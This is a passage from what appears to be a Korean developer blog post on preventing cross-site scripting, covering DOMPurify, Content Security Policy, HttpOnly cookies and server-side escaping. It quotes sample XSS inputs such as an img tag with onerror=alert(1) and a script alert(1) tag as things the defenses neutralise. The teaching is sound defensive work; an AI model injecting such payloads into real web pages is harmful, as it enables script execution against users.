이렇게 작성하면 <script><img onerror=...> 같은 태그도 단순 문자열로 처리되기 때문에, 악성 코드가 실행되지 않는다.

2. DOMPurify로 사용자 입력 클렌징하기

만약 innerHTML을 반드시 사용해야 한다면, DOMPurify 같은 라이브러리를 사용해 입력값을 먼저 정화해야 한다. DOMPurify는 위험한 태그나 속성(script, onerror, onclick 등)을 자동으로 제거해준다.

npm install dompurify
import DOMPurify from 'dompurify';

const dirtyInput = '<img src=x onerror=alert(1)>';
const cleanInput = DOMPurify.sanitize(dirtyInput);

document.getElementById('output').innerHTML = cleanInput;

DOMPurify는 보안성과 사용성이 뛰어나며 OWASP에서도 추천하는 방식으로, 클라이언트 환경에서 가장 많이 사용되는 XSS 방어 도구 중 하나다.

3. Content Security Policy(CSP) 적용하기

CSP는 브라우저가 스크립트 실행 정책을 제한할 수 있도록 도와주는 HTTP 응답 헤더다. 이 설정을 통해 외부 스크립트, 인라인 자바스크립트, 동적 eval() 등을 차단할 수 있다.

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';

이렇게 설정하면 <script>alert(1)</script> 같은 코드는 브라우저에서 차단되며, 스크립트 로딩도 'self' (자기 자신)로 제한된다.

4. HttpOnly 속성을 통한 쿠키 보호

XSS의 가장 큰 피해 중 하나는 쿠키 탈취이다. 이를 막기 위해 중요한 인증 쿠키에는 HttpOnly 속성을 반드시 설정해야 한다.

Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict
  • HttpOnly: 자바스크립트에서 document.cookie로 접근 불가능하게 만든다.
  • Secure: HTTPS에서만 쿠키를 전송하도록 한다.
  • SameSite: 다른 출처에서의 요청에 대해 쿠키를 제한한다.

이 속성을 사용하면, 공격자가 document.cookie를 통해 인증 정보를 탈취하는 것을 원천 차단할 수 있다.

5. 사용자 입력 검증과 서버-클라이언트 이중 방어 적용하기

XSS는 단순히 프론트엔드에서만 막는다고 해결되지 않는다. 서버와 클라이언트 모두에서 이중 방어(In-depth Defense) 체계를 갖추는 것이 안전하다.

  • 서버에서는 sanitize-html 등을 사용해 필터링을 적용한다.

    import sanitizeHtml from 'sanitize-html';
    
    const clean = sanitizeHtml(userInput, {
    	allowedTags: ['b', 'i', 'a'],
    	allowedAttributes: { a: ['href'] },
    });
    
  • 입력 제한을 강화한다. <, >, ", ' 등의 특수문자를 제거하거나 이스케이프 처리한다.

    function escapeHTML(str) {
    	return str
    		.replace(/&/g, '&amp;')
    		.replace(/</g, '&lt;')
    		.replace(/>/g, '&gt;')
    		.replace(/"/g, '&quot;')
    		.replace(/'/g, '&#39;');
    }
    
  • X-Frame-Options, X-XSS-Protection 등의 보안 헤더도 함께 설정해주는 것이 좋다.


마무리

XSS는 프론트엔드 개발자라면 반드시 알고 있어야 할 보안 이슈다. 단 한 줄의 innerHTML 만으로도 사용자 정보가 탈취될 수 있으며, 기업 신뢰와 시스템 전체를 위협할 수 있다.

따라서 앞으로 개발할 때 아래와 같은 원칙을 습관화해야겠다. (아래 원칙은 GPT가 뽑아줬다. 참 맞는 말만 하는 듯)

❗ 사용자 입력은 절대 신뢰하지 않는다.
❗ DOM에 삽입할 때는 반드시 정제하거나 이스케이프한다.
❗ 서버와 클라이언트 양쪽에서 모두 방어 로직을 구성한다.

이런 보안 습관은 나와 사용자 모두를 안전하게 지켜주는 강력한 무기가 되어줄 것으로 기대된다!

📚 참고